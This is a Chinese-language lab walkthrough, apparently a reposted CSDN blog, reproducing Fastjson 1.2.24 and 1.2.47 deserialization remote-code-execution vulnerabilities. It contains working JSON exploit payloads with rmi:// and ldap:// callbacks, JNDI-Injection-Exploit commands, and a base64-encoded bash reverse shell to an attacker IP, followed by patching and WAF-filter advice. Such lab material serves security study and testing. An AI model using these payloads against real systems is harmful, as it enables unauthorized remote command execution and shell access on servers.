FastJson 漏洞复现

FastJson 漏洞复现

1. FastJson 1.2.24 反序列化导致任意命令执行漏洞

链接地址:Fastjson 1.2.24 反序列化导致任意命令执行漏洞

1.1 漏洞描述

说明 内容
漏洞编号 CVE-2017-18349
漏洞名称 fastjson 1.2.24 反序列化导致任意命令执行漏洞
漏洞评级 高危
影响范围 1.2.24
漏洞描述 fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
修复方案 打补丁,上设备,升级组件

具体描述

​ FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。

​ 关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

1.2 漏洞原理

攻击者访问存在fastjson漏洞的目标靶机,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetlmpl 恶意信息发送给目标机。

存在漏洞的目标靶机对json反序列化的时候,会执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行命令。

rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(创建文件、反弹shell等)

rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

靶机执行了恶意代码,被攻击者成功利用。

1.3 漏洞复现

1.3.1 环境启动

在这里插入图片描述

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

image-20230908102919855

使用bp抓取数据包

image-20230908103413159

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

先转换为POST请求

image-20230908103814940

然后发送一个JSON数据

{
    
    "name":"wuhu", "age":20}

如果直接发送会报500错误,需要将Content-Type类型修改为JSON格式

image-20230908103953214

重新放包即可。
在这里插入图片描述

这里就是提交一个JSON格式的数据到服务器后转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。

  • JSON–>Object–>JSON
1.3.2 漏洞检测

可以使用BurpSuite扩展:Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件 (github.com)

proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar

下载成功后,在BP中添加插件即可。

image-20230908105415142

image-20230908105548435

然后将数据包发送到插件

image-20230908105713160

正在扫描

image-20230908105746945

扫描成功,发现漏洞,然后会生成一个POC。

image-20230908105837664

将生成的POC拷贝到我们之前抓取的数据包中。

{
    
    
    "handsome":{
    
    
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"rmi://p1rgv81zmbf1ogymvoqrw59dj4pudj.oastify.com/aaa",
        "autoCommit":true
     }
}

image-20230908110223394

RMI概述:Java RMI(Java Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网络上的不同计算机中。

在网络传输的过程中。RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化。因此,可以将RMI服务作为进行反序列化利用链的触发点。

1.3.3 漏洞验证

使用JNDI-Injection-Exploit工具,链接地址JNDI-Injection-Exploit/README-CN.md at master · welk1n/JNDI-Injection-Exploit (github.com)

开启RMI服务器

使用方法:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"

image-20230908112618443

1.4 漏洞利用

构造反弹Shell命令

bash -i >& /dev/tcp/192.168.188.185/9999 0>&1	# 将该命令做一个base64编码

bash -c {
    
    echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvOTk5OSAwPiYx}|{
    
    base64,-d}|{
    
    bash,-i}

开启服务器,将之前构造的反弹Shell在 -C 后面的参数进行替换即可。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"

image-20230908114958558

kali监听9999端口

image-20230908115125415

复制到指定位置,然后放包即可

ldap://192.168.188.185:1389/1cmhtr

image-20230908115101711

监听成功

image-20230908115037764

1.5 修复方案

修复 Fastjson 1.2.24 反序列化漏洞的最佳方法是将 Fastjson 更新到修复此漏洞的最新版本。Fastjson 团队已经修复了此漏洞,并提供了补丁程序或更新版本。因此,建议立即更新 Fastjson 到最新修复版本,以确保应用程序不再受到此漏洞的影响。此外,还应采取其他防护措施,如输入验证、过滤和限制反序列化能力,以提高应用程序的安全性。

2. Fastjson 1.2.47 远程命令执行漏洞

链接地址:Fastjson 1.2.47 远程命令执行漏洞

2.1 漏洞描述

说明 内容
漏洞编号
漏洞名称 Fastjson 1.2.47 远程命令执行漏洞
漏洞评级 高危
影响范围 1.2.47以及之前的所有版本
漏洞描述 Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
修复方案 打补丁,上设备,升级组件

具体描述

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

2.2 漏洞复现

2.2.1 环境启动

image-20230908145059678

环境启动后,访问http://your-ip:8090即可看到一个json对象被返回

image-20230908145111927

使用bp抓取数据包

image-20230908145323357

将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析。

image-20230908145418551

2.2.2 漏洞检测

image-20230908145640306

将生成POC拷贝到抓取的数据包中。

{
    
    
    "axin":{
    
    
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
    
    
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
        "autoCommit":true
    }
}

image-20230908150031446

2.2.3 漏洞验证

开启RMI服务器

使用方法:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"

image-20230908150613821

使用JDK 1.8中的ldap

ldap://192.168.188.185:1389/asdqfh

image-20230908150549393

查看tmp目录下是否有我们创建的wuhu文件。

image-20230908150757014

通过查看后发现文件创建成功,证明漏洞存在。

2.3 漏洞利用

构造反弹Shell命令

bash -i >& /dev/tcp/192.168.188.185/8888 0>&1	# 将该命令做一个base64编码

bash -c {
    
    echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{
    
    base64,-d}|{
    
    bash,-i}

开启服务器,将之前构造的反弹Shell在 -C 后面的参数进行替换即可。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"

image-20230908151051620

同时kail监听8888端口

image-20230908151221693

将ldap复制到指定位置,然后放包即可

ldap://192.168.188.185:1389/wslvmi

image-20230908151142290

反弹成功

image-20230908151152787

2.4 修复方案

  1. 升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
  2. WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形
  3. 最少升级到1.2.48以上版本且关闭autotype选项

猜你喜欢

转载自blog.csdn.net/weixin_58783105/article/details/132805500